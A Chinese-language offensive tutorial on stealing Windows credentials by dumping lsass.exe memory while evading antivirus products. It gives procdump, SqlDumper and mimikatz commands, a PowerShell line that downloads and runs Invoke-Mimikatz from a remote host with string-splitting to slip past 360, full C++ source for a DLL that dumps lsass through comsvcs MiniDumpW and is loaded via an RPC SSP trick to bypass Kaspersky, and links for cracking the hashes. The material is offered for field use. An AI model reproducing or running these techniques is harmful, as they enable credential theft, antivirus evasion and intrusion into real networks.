大部分情況會遇到防護軟體,常規抓取方法失效,因此需要對防護進行繞過。
Procdump.exe
Procdump是微軟官方釋出的工具,使用該工具可以把lsass的記憶體dump下來,可以繞過大多數的防護軟體。
首先使用procdump.exe把程序lsass.exe 的記憶體dump下來
procdump.exe -accepteula -ma lsass.exe lsass.dmp

實戰中把 lsass.dmp 下載下來,在相同版本的作業系統使用mimikatz讀取密碼hash。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

SqlDumper.exe
SqlDumper也屬於微軟出品,存在於SQL Server資料夾中,大多數殺軟不會攔截。
預設存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
如果目標機器沒有安裝SQL Server,可以自己上傳SqlDumper.exe。
tasklist /svc findstr lsass.exe 檢視lsass.exe 的PID號
Sqldumper.exe ProcessID 0 0x01100 匯出mdmp檔案

實戰中下把生成的mdmp檔案下載到本地,使用相同的作業系統開啟。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

可過360,無法過卡巴斯基。

powershell免殺
結合powershell的免殺,載入Invoke-Mimikatz.ps1指令碼獲取密碼hash。
使用命令遠端載入ps1指令碼。
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

會被360攔截,繞過方法很多,這裡可以使用分割繞過。
powershell "a='IEX((New-Object Net.WebClient).DownloadString(''ht';b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX (a+b)"

無法繞過卡巴斯基。

繞過卡巴斯基抓取lsass中密碼
卡巴斯基對lsass.exe防護相當變態,上面的幾種方法都無法繞過卡巴斯基。
使用國外大佬XPN使用RPC控制lsass載入SSP的程式碼,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
將三個檔案下載到本地,使用visual studio進行編譯,需要修改了幾個地方。
(1)新增如下程式碼
#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib庫檔案)
(2)將.c檔案字尾改成.cpp (使用了c++程式碼,需要更改字尾)
(3) 編譯時選擇x64 (XPN大佬提供的是64位程式碼)
編譯程式碼得到.exe檔案。
然後用生成的exe,載入dump記憶體的dll檔案,這裡使用的是奇安信A-team團隊公佈的原始碼,並在基礎上,增加了自動獲取lsass的PID號功能,無需每次使用重複編譯。
dll原始碼如下:
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
int FindPID()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;;
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在測試機中安裝卡巴斯基進行測試,使用Procdump會被攔截。

把編譯好的檔案exe和dll放在同一目錄下。

使用管理員許可權執行exe,載入dll檔案。
存在三個需要注意的點:
1、呼叫dll檔案要是完整的絕對路徑
2、檔案要放在英文路徑下
3、在win7下測試只能執行一次,第二次執行電腦會重啟,其它系統未測試。

成功繞過防護生成了1.bin檔案。
實戰中把生成的檔案下載到本地,然後在版本相同的作業系統使用mimikatz讀取。
mimikatz# sekurlsa::minidump 1.bin
mimikatz# sekurlsa::loginpasswords full
成功讀取到密碼hash。

對於無法讀出明文的系統,可以嘗試線上破解hash獲取明文。
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php
參考連結
https://www.jianshu.com/p/7ccf6e15fbe0
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://blog.csdn.net/xiangshen1990/article/details/104872566